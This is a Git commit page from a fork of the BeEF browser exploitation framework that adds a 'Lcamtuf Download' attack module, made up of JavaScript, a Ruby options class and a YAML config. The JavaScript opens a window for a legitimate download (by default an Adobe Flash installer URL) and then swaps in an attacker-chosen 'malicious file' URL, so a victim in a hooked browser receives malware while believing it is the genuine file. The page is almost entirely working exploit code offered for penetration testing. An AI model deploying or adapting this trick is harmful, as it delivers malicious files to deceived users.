Hiddenden/beef
2
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Merge pull request #735 from bmantra/master

Browse Source 
fixes #725 initial commit for lcamtuf download trick module
This commit is contained in:
bmantra
2012-08-24 11:27:25 -07:00
parent 5a9a050c1c f852ca26cb
commit 7c26ac6a1e
3 changed files with 113 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

38
modules/browser/lcamtuf_download/command.js Normal file
View File

@@ -0,0 +1,38 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
var maliciousurl = '<%= @malicious_file_uri %>';
var realurl = '<%= @real_file_uri %>';
var w;
var once = '<%= @do_once %>';
function doit() {
if (navigator.userAgent.indexOf('MSIE') == -1){
w = window.open('data:text/html,<meta http-equiv="refresh" content="0;URL=' + realurl + '">', 'foo');
setTimeout(donext, 4500);
}
}
function donext() {
window.open(maliciousurl, 'foo');
if (once != true) setTimeout(donext, 5000);
once = true;
}
doit();
beef.net.send("<%= @command_url %>", <%= @command_id %>, "Command executed");
});

26
modules/browser/lcamtuf_download/config.yaml Normal file
View File

@@ -0,0 +1,26 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
lcamtuf_download:
enable: true
category: "Browser"
name: "Lcamtuf Download"
description: "This module will attempt to execute a lcamtuf download. The file will be served with an alternative <i>Content-Disposition: attachment</i> header. For more information please refer to <a href='http://lcamtuf.blogspot.co.uk/2012/05/yes-you-can-have-fun-with-downloads.html'>http://lcamtuf.blogspot.co.uk/2012/05/yes-you-can-have-fun-with-downloads.html</a> ."
authors: ["Bart Leppens"]
target:
working: ["ALL"]
not_working: ["IE"]

49
modules/browser/lcamtuf_download/module.rb Normal file
View File

@@ -0,0 +1,49 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Lcamtuf_download < BeEF::Core::Command
# set and return all options for this module
def self.options
return [{
'name' => 'real_file_uri',
'description' => 'The web accessible URI for the real file.',
'ui_label' => 'Real File Path',
'value' => 'http://get.adobe.com/flashplayer/download/?installer=Flash_Player_11_for_Internet_Explorer_(64_bit)&os=Windows%207&browser_type=MSIE&browser_dist=OEM&d=Google_Toolbar_7.0&PID=4166869',
'width' => '300px'
},
{
'name' => 'malicious_file_uri',
'description' => 'The web accessible URI for the malicious file.',
'ui_label' => 'Malicious File Path',
'value' => '',
'width' => '300px'
},
{ 'name' => 'do_once', 'type' => 'combobox', 'ui_label' => 'Once', 'store_type' => 'arraystore',
'store_fields' => ['do_once'], 'store_data' => [['false'],['true']],
'valueField' => 'do_once', 'displayField' => 'do_once', 'mode' => 'local', 'value' => 'false', 'autoWidth' => true
}]
end
def post_execute
content = {}
content['result'] = @datastore['result']
save content
end
end